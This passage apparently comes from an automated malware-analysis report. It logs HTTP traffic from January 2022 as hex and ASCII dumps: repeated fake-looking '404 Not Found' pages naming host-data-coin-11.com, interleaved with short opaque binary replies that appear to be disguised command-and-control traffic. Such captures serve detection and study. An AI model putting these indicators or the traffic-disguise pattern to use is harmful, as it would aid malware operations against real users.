72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 38 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 eb 98 bd a5 1d b7 51 d8 6d a5 1b 46 9b 10 bc be 71 b0 64 56 11 b1 b6 d8 40 fa 0f 85 1d 87 aa 64 9a 66 b0 f3 ce 13 6b b7 e4 4b 35 a9 f2 e0 0d 0a 30 0d 0a 0d 0a Data Ascii: 48I:82OOjQmFqdV@dfkK50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 19:21:46 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:09 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 19:23:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90
